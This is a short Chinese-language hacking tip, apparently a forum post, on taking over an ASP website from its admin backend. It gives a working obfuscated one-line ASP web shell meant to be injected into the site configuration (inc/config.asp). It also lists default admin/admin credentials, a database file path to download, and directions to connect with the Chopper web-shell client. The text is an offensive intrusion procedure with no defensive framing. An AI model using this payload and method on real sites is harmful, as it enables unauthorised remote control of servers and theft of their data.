后台拿shell的方法呢，
 
在网站配置的地方插入一句话，这个普通的一句话是不能用的要用变异的一句话，插入，测试成功
 
一句话：
 
view source
print?
1 "%><%execute(request("xiaoma"))%><%'
嘿嘿，这个是变异的，普通的不能用哦
默认帐号密码：admin 
这个通杀率很高，实在不行我们可一下载数据库
数据库地址：data/xiao5u.mdb
插入一句话以后。菜刀连接
 
www.xx.com/inc/config.asp